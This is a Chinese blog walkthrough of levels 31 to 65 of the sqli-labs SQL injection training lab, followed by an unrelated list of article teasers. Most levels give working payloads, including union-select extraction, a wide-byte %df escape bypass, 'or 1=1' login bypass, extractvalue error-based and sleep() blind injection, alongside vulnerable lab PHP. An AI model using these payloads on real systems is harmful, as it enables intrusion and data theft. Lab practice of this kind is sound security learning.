sqli靶场完结篇!!!!
靶场,靶场,一个靶场打一天,又是和waf斗智斗勇的一天,waf我和你拼啦!!

31.多个)号
先是一套基本的判断 ,发现是字符型,然后发现好像他什么都不过滤?于是开始poc
321313132"+union+select+2,user(),"2
于是你就会又见到熟悉的朋友,于是就能猜到又有)(这种东西

换句poc?发现就能成功bypasss
321313132")+union+select+2,user(),("2

32.宽字节注入
当我们添加一个' 就能看见这样的回显

那就想都不用想,就是宽字节注入,于是就猜测是不是字符型,其实如果他把注释符号也过滤了的话那就是绝杀了,但是好险他不过滤


于是我们就构造poc ,但是这里的盲注poc是不行的,因为会被转义 所以要联合查询

33.你三十二关再考我一次是吧?
这题还以为有什么过滤,结果发现和上一关一摸一样
玩我是吧
34.宽字节登录
首先我们能看见一个登录界面,不用想,肯定是要我们免密码登录

由于先测试一下注入的姿势,能发现是宽字节的过滤

于是就有poc:
admin%df'or+1=1--+
成功登录

35.why_care_for_addslahes()
做这题真就有种打ctf的感觉了,有意思 
首先一顿操作猛如虎,先加一个单引号,猜测是宽字节

然后就发现为啥啥都过滤但是却报错???

无意间我瞅了一眼网页标签,然后就就开始笑了,我们判断字符注入的方法是什么?你肯定会说
:“单引号报错,两个引号不报错”
不错,确实是这样的,但是对应宽字节呢??来看宽字节的绕过过程
- 原来:select * from users where id='1' ;
- 开始注入: select * from users where id='1 %df/ ' %df/' ';
- 然后就会被解释成 select * from users where id='1運' 運'';
这是候的sql语句是肯定是错的 因为 中间多了一个中文字 所以我们根本无法根据报错来判断注入类型 也就是这个可能是字符型或者数字型!!!! 不信 不妨试试数字型的poc
0+union+select+1,database(),user()--+
所以这就是他的网页名的来由:why_care_addslashes的原因 与这个函数根本就没有关系!!

36.mysql_real_escape_string
这个函数和addslashes差不都是对一些特定的字符添加一个 / 并且拼接 ,所以他的poc和前面差不多,(或者说是一摸一样)
0%df'+union+select+1,user(),database()--+
37.你三十四关又又又考完一次是吧??
这个和三十四关又是一样的
我belike:
不多说,直接上poc
admin%df'+or+1=1--+
38.堆叠注入
这个我在我之前的blog里面讲过,就不多赘述了
39.堆叠注入但是数字型
这个其实就是堆叠注入的数字型 比字符型还简单 也不多赘述了

40.Seems 这个代码有点问题??
做这一关的时候,小编是有一点疑惑,因为你会发现这一关的poc可以无限写
0')union+select+1,database(),user()--+
1')and+length(database())=8--+
0')union+select+1,user(),database()--+
你就会发现,他们都是可以的,难道这一关就止步于此???

于是就去看了一下他的源代码,发现好家伙,代码还不少,那不因该毫无新意啊!?

访问login.php,发现报错

于是我就发现问题出现在了login.php那里,一起来看代码
$login = sqllogin();
if (!$login== 0)
{$_SESSION["username"] = $login;setcookie("Auth", 1, time()+3600); /* expire in 15 Minutes */header('Location: logged-in.php');
}
else
{
?>
<tr><td colspan="2" style="text-align:center;"><br/><p style="color:#FF0000;">
<center>
<img src="../images/slap1.jpg">
</center>
</p></td></tr>
<?PHP
}
其中slap1.jpg就是我们看见的那张照片,所以可以知道$login=0,而$login又是通过sqllogin函数实现的,那么我们去看一下sqllogin函数就好
function sqllogin(){$username = mysql_real_escape_string($_POST["login_user"]);$password = mysql_real_escape_string($_POST["login_password"]);$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
//$sql = "SELECT COUNT(*) FROM users WHERE username='$username' and password='$password'";$res = mysql_query($sql) or die('You tried to be real smart, Try harder!!!! :( ');$row = mysql_fetch_row($res);print_r($row) ;if ($row[1]) {echo $row[1];} else {return 0;}}
来审计一下代码:
- 首先就是mysql_real_escape_string函数,用来将特殊字符转义
- 接着就是查询
- 如果查询成功就将得到的第一行结果输出,否则就输出You tried to be real smart, Try harder!!!! :( 然后结束程序
- 但是如果我们的login_user和login_password不设置值的话就会返回0 也就是我们现在所看见的页面情况
所以就在url拼接login_user 和 login_password这两个字段就好

但是不难发现就算将这两个字段拼接上也好,也还是报错,因该是还缺了什么参数,不管了下一题
41.考了个啥,还是堆叠???
这道题也是做的云里雾里的,啥都不过滤,一句poc就注出来了

查看了源代码才发现原来是堆叠注入,那也不多赘述了
42.Password字段没有过滤
尝试一下,发现在账号处无论怎么测试都没有发现注入点,于是就去试一下密码处,成功报错

于是就开始我们的poc
password=1'+or+1='1
其实这里也可以进行堆叠查询,因为这里也包含mysqli_mutil_query这个函数!!
43.还是多一个()
这题其实和上一题一模一样 就是多一个() 先上poc
password=admin')or+1=1--+
然后不知道你们会不会感到有点奇怪,对于拼接之后的那个句子结构
$sql = "SELECT * FROM users WHERE username=('111') and password=('admin') or 1=1 ";
于是我就去跑去问了一下chatgpt 结果他给到了我这样一个回答
admin'+or+1=1--+
soga~~~原来如此
44.和四十二关一样
不知道为什么他的答案和四十二关一样,那就直接上poc了
password=admin'+or+1=1--+
45.又是多个()
这个题思路和上一关一样,只不过得到的字段被()包裹,所以直接上poc
login_password=admin')or+1=1--+
46.报错,报错
这一题有点新颖,这种一看就知道是order by的查询语句
其实这种还挺难搞
- 首先,它不能拼接select 这种语句,因为orderby 要放在句子的末尾
- 然后,就是拼接 and 1=1 或者 and 1=2 这种语句对查询结果不影响
- 而且源代码里面还不存在堆叠注入的点
所以这里只能报错注入了,上poc
3+and+extractvalue(1,(concat(0x7e,(database()),0x7e)))--+

这样就能爆出他的数据库,如果它不返回报错信息的话那么就基本上不存在注入了
47.多了个' 号
这题其实就是和上面的那一题一样 只不过多一个 ' 而已
3'+and+extractvalue(1,(concat(0x7e,(database()),0x7e)))
48.盲注
这题更离谱,它直接啥都不给你了,于是可以盲注
3'+and+sleep(1)
但是我很好奇,就算盲注成功,那攻击者也获取不了它的数据库信息啊?所以这个sql注入有什么用????

49.和上一关一样,但是字符型
这一关就和上一关一样,不过是字符型
50.可以堆叠,但是条件苛刻
这一关是可以进行堆叠注入的 ,但是你返回的值要满足这样
if ($result = mysqli_store_result($con1)){while($row = mysqli_fetch_row($result)){echo '<font color= "#00FF11" size="3">'; echo "<tr>";echo "<td>";printf("%s", $row[0]);echo "</td>";echo "<td>";printf("%s", $row[1]);echo "</td>";echo "<td>";printf("%s", $row[2]);echo "</td>";echo "</tr>";echo "</font>"; }
能成功地返回这样的结果,也可谓是十分困难了吧
51.我选择报错
这一关就直接报错注入就好了
1'and+extractvalue(1,(concat(0x7e,database(),0x7e)))--+
52.我选择延时注入
poc:
sort=1+and+sleep(1)
53.我还是选择延时注入
poc:
1'+and+sleep(4324324342)--+
54.你能在十次以内做出来吗???
这个其实有点在故弄玄虚,其实就是一个普通的注入,不要想太多 poc:
111111'+union+select+1,database(),user()--+
你怎么知道我刚好在第十次猜出来了哈哈哈
55. 正常注入
还是和上面一样多试试就出来了
32131313123122)%20union%20select%201,database(),user()--+

56.多一个 ' 无伤大雅
这个其实就是我们前面练的多的,不多说
)+union+select+1,user(),('1

57.换成" 还是无伤大雅
不多说,救赎之道,就在标题 上poc
?id=3213113211"%20union+select%201,user(),database()--+

58.??再看多一眼??
这题一开始没做出来,去看了题解,才恍然大雾
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);if($row){echo '<font color= "#00FFFF">'; $unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");$pass = array_reverse($unames);echo 'Your Login name : '. $unames[$row['id']];echo "<br>";echo 'Your Password : ' .$pass[$row['id']];echo "</font>";
看似一切正常,啥都不过滤,但是细看发现:
你的输出是什么鬼?????
所以这里只能报错注入了
1' and extractvalue(1,(concat(0x7e,database(),0x7e))) --+

59.数字型的58关
不多赘述 ,"救赎之道,就在标题 "
60.变成了 ")
poc:
id=1")%20and%20extractvalue(1,(concat(0x7e,database(),0x7e)))%20--+
61.你没题出了是吧???
不多说,先来看看源码
$sql="SELECT * FROM security.users WHERE id=(('$id')) LIMIT 0,1";
不是,出题人,你无聊是吧搞这些 给我弄两个括号,所以就能上poc了
id=1%27))and%20extractvalue(1,(concat(0x7e,(database()),0x7e)))--+
62.没有回显,但是延时注入
这一关是没有回显的,所以我们可以采用sleep来注入
id=1') and sleep(21)--+
63.还是62关,但是没有括号
这一关只是没有括号而已
?id=1%27and%20sleep(323)--+
64.又是))是吧???
这里的话就是还是有((这样的逆天玩意 ,所以我们直接上poc就好
?id=1))and%20if(length(database())=10,1,0)=1--+
65.完结撒花,但是有 "
这里也是不多说,直接上poc:
id=1")and%20if(length(database())=10,1,0)=1--+
终于,up的sqli靶场打完了 ,打的人都快麻了
,先存一下小编的笔记,以后回来复习(如果记得的话)

相关文章:
sqli靶场完结篇!!!!
靶场,靶场,一个靶场打一天,又是和waf斗智斗勇的一天,waf我和你拼啦!! 31.多个)号 先是一套基本的判断 ,发现是字符型,然后发现好像他什么都不过滤?于是开始poc 3213131…...
堆结构的解读
对于数据结构堆来说,堆事一种特定的数据结构,其与二叉树非常类似,但是又与二叉树有所不同,其不同点在于堆不需要左右指针指向孩子节点,而给定一个数组,将数组中的元素进行特定排序之后,就可以得…...
7、Qt5开发及实列(笔记)
文章目录 第二章 Qt5模板库、工具类及控件2.2 容器类2.2.1 QList类 # 2.3 QVariant类 #2.4 算法及正则表达式2.5控件 第二章 Qt5模板库、工具类及控件 2.2 容器类 2.2.1 QList类 //2.2容器类 - QList类QList<QString> list;//声明了一个QList<QString>栈对象{QSt…...
FPGA_ip_Rom
一 理论 Rom存储类ip核,Rom是只读存储器的简称,是一种只能读出事先存储数据的固态半导体存储器。 特性: 一旦储存资料,就无法再将之改变或者删除,且资料不会因为电源关闭而消失。 单端口Rom: 双端口rom: 二 Rom ip核…...
5-3、S曲线生成器【51单片机+L298N步进电机系列教程】
↑↑↑点击上方【目录】,查看本系列全部文章 摘要:本节介绍步进电机S曲线生成器的计算以及使用 一.计算原理 根据上一节内容,已经计算了一条任意S曲线的函数。在步进电机S曲线加减速的控制中,需要的S曲线如图1所示,横…...
Google开源项目风格指南——Java
Google Java Style Guide 谷歌 Java 风格指南 谷歌 Java 风格指南1 简介1.1 术语说明1.2 指导说明 2 源文件基础知识2.1 文件名2.2 文件编码:UTF-82.3 特殊字符2.3.1 空白字符2.3.2 特殊转义序列2.3.3 非ASCII字符 3 源文件结构3.1 许可或版权信息(如果存…...
数字图像处理与Python语言实现-常见图像特效(二)
文章目录 9、Splash滤镜10、双色调(Duo-Tone)滤镜11、日光(Daylight)滤镜12、60sTVs效果13、高对比度14、棕褐色/复古滤镜15、晕影效果16、模糊滤镜17、浮雕边缘9、Splash滤镜 在Splash滤镜中,仅某些颜色保持原样,其余颜色转换为灰度。 为了执行此操作,我们将在 HSV 颜…...
学习方法分享
工作上的代码实现,不要过度设计,不要想着炫技,要简单务实,“大道至简”。 学习一个方向(模块化)的知识,不经意间就会涉及到另一个领域,比如从消息队列存储的顺序读/写,延…...
Python学习路线 - Python高阶技巧 - 拓展
Python学习路线 - Python高阶技巧 - 拓展 闭包闭包注意事项 装饰器装饰器的一般写法(闭包写法)装饰器的语法糖写法 设计模式单例模式工厂模式 多线程进程、线程并行执行多线程编程threading模块 网络编程Socket客户端和服务端Socket服务端编程实现服务端并结合客户端进行测试 S…...
qt在pro文件中设置utf-8编码
在 Qt 的 .pro 文件中设置使用 UTF-8 编码,可以通过在 .pro 文件中添加以下内容来实现: QMAKE_CXXFLAGS -source-charset UTF-8 QMAKE_CXXFLAGS -execution-charset UTF-8这样设置后,Qt 会将源代码和执行时的字符集都设置为 UTF-8 编码。这…...
如何在 emacs 上开始使用 Tree-Sitter(windows)
文章目录 如何在emacs上开始使用Tree-Sitter(windows) 如何在emacs上开始使用Tree-Sitter(windows) 参考:“How to Get Started with Tree-Sitter”。 首先要有一个可运行的emacs,并且它支持Tree-Sitter&…...
Qt 数据库操作V1.0
1、pro文件 QT sql2、h文件 #ifndef DATABASEOPERATION_H #define DATABASEOPERATION_H#include <QSqlDatabase> #include <QSqlQuery> #include <QSqlError> #include <QSqlRecord> #include <QDebug> #include <QVariant>clas…...
【Eclipse插件开发】3工作台workbench探索【上篇】
3工作台workbench探索 文章目录 3工作台workbench探索前言视图编辑器一、工作台Workbench入门工作台页透视图视图和编辑器二、使用命令的基本工作台扩展点2.1 org.eclipse.ui.views2.2 org.eclipse.ui.editors编辑器和内容大纲2.3 org.eclipse.ui.comm...
201912CSPT5魔数
题意:有一个从 1 1 1到 n n n的连续序列,有 q q q次查询,对区间操作 [ l , r ] [l,r] [l,r]: 1. 输出 s f ( A l ) f ( A l 1 ) . . . f ( A r ) , f ( x ) ( x 1.输出sf(A_l)f(A_{l1})...f(A_r),f(x)(x 1.输出sf(Al)f(Al1)...f(A…...
Pycharm python用matplotlib 3D绘图显示空白解决办法
问题原因: matplotlib版本升级之后显示代码变了,修改为新的 # ax Axes3D(fig) # 原代码 ax fig.add_axes(Axes3D(fig)) # 新代码import numpy as np import matplotlib.pyplot as plt from matplotlib import cm from mpl_toolkits.mplot3d import Ax…...
java hello world
1、java IDEA工具安装: helloworld : package com.company;public class Main {public static void main(String[] args) {// write your code hereString a "hello world";System.out.println(a);} } java一些注意事项 1、大小写敏感 2、类…...
典型数据结构的模板实现
栈和数组 1.使用类模板实现数组结构定长数组可变数组 2.使用类模板实现栈结构 在我们初步了解编写模板类后,应当做一下代码练习。这节我们就做一个编写代码的补充,方便大家继续学习模板类的嵌套。作为新手而言,建议大家先写一个具体类&#x…...
Visual Studio 2022中创建的C++项目无法使用万能头<bits/stdc++.h>解决方案
目录 发现问题 解决办法 第一步 第二步 第三步 第四步 最后一步 问题解决 发现问题 如果大家也遇到下面这种问题,可能是没有include文件夹中没有bits/stdc.h 解决办法 第一步 打开一个C项目,鼠标移动至头文件上右击,选择转到文档或…...
webpack配置
一、很多基础方面的配置被vuecli所集成一般项目都是使用vuecli,不会真正的去从0-1进行webpack配置: 1、vuecli中的webpack基础配置: (1)入口文件默认在src/main;输出在dist; (2)集成了大量的插件和加载器:babel-loader 处理 JavaScript 文件、使用 css-loader 和 style-load…...
1 月 Web3 游戏行业概览:市场实现空前增长
作者:lesleyfootprint.network 今年一月,区块链游戏领域迎来了爆发式增长,活跃用户的数量大幅提升。 区块链游戏不断融合 AI 技术,旨在提升玩家体验并扩大其服务范围,公链与游戏的兼容性问题也日渐受到重视。技术革新…...
Leetcode 3576. Transform Array to All Equal Elements
Leetcode 3576. Transform Array to All Equal Elements 1. 解题思路2. 代码实现 题目链接:3576. Transform Array to All Equal Elements 1. 解题思路 这一题思路上就是分别考察一下是否能将其转化为全1或者全-1数组即可。 至于每一种情况是否可以达到…...
ubuntu搭建nfs服务centos挂载访问
在Ubuntu上设置NFS服务器 在Ubuntu上,你可以使用apt包管理器来安装NFS服务器。打开终端并运行: sudo apt update sudo apt install nfs-kernel-server创建共享目录 创建一个目录用于共享,例如/shared: sudo mkdir /shared sud…...
以下是对华为 HarmonyOS NETX 5属性动画(ArkTS)文档的结构化整理,通过层级标题、表格和代码块提升可读性:
一、属性动画概述NETX 作用:实现组件通用属性的渐变过渡效果,提升用户体验。支持属性:width、height、backgroundColor、opacity、scale、rotate、translate等。注意事项: 布局类属性(如宽高)变化时&#…...
理解 MCP 工作流:使用 Ollama 和 LangChain 构建本地 MCP 客户端
🌟 什么是 MCP? 模型控制协议 (MCP) 是一种创新的协议,旨在无缝连接 AI 模型与应用程序。 MCP 是一个开源协议,它标准化了我们的 LLM 应用程序连接所需工具和数据源并与之协作的方式。 可以把它想象成你的 AI 模型 和想要使用它…...
python如何将word的doc另存为docx
将 DOCX 文件另存为 DOCX 格式(Python 实现) 在 Python 中,你可以使用 python-docx 库来操作 Word 文档。不过需要注意的是,.doc 是旧的 Word 格式,而 .docx 是新的基于 XML 的格式。python-docx 只能处理 .docx 格式…...
2025季度云服务器排行榜
在全球云服务器市场,各厂商的排名和地位并非一成不变,而是由其独特的优势、战略布局和市场适应性共同决定的。以下是根据2025年市场趋势,对主要云服务器厂商在排行榜中占据重要位置的原因和优势进行深度分析: 一、全球“三巨头”…...
算法岗面试经验分享-大模型篇
文章目录 A 基础语言模型A.1 TransformerA.2 Bert B 大语言模型结构B.1 GPTB.2 LLamaB.3 ChatGLMB.4 Qwen C 大语言模型微调C.1 Fine-tuningC.2 Adapter-tuningC.3 Prefix-tuningC.4 P-tuningC.5 LoRA A 基础语言模型 A.1 Transformer (1)资源 论文&a…...
R语言速释制剂QBD解决方案之三
本文是《Quality by Design for ANDAs: An Example for Immediate-Release Dosage Forms》第一个处方的R语言解决方案。 第一个处方研究评估原料药粒径分布、MCC/Lactose比例、崩解剂用量对制剂CQAs的影响。 第二处方研究用于理解颗粒外加硬脂酸镁和滑石粉对片剂质量和可生产…...
GitFlow 工作模式(详解)
今天再学项目的过程中遇到使用gitflow模式管理代码,因此进行学习并且发布关于gitflow的一些思考 Git与GitFlow模式 我们在写代码的时候通常会进行网上保存,无论是github还是gittee,都是一种基于git去保存代码的形式,这样保存代码…...
论文阅读笔记——Muffin: Testing Deep Learning Libraries via Neural Architecture Fuzzing
Muffin 论文 现有方法 CRADLE 和 LEMON,依赖模型推理阶段输出进行差分测试,但在训练阶段是不可行的,因为训练阶段直到最后才有固定输出,中间过程是不断变化的。API 库覆盖低,因为各个 API 都是在各种具体场景下使用。…...
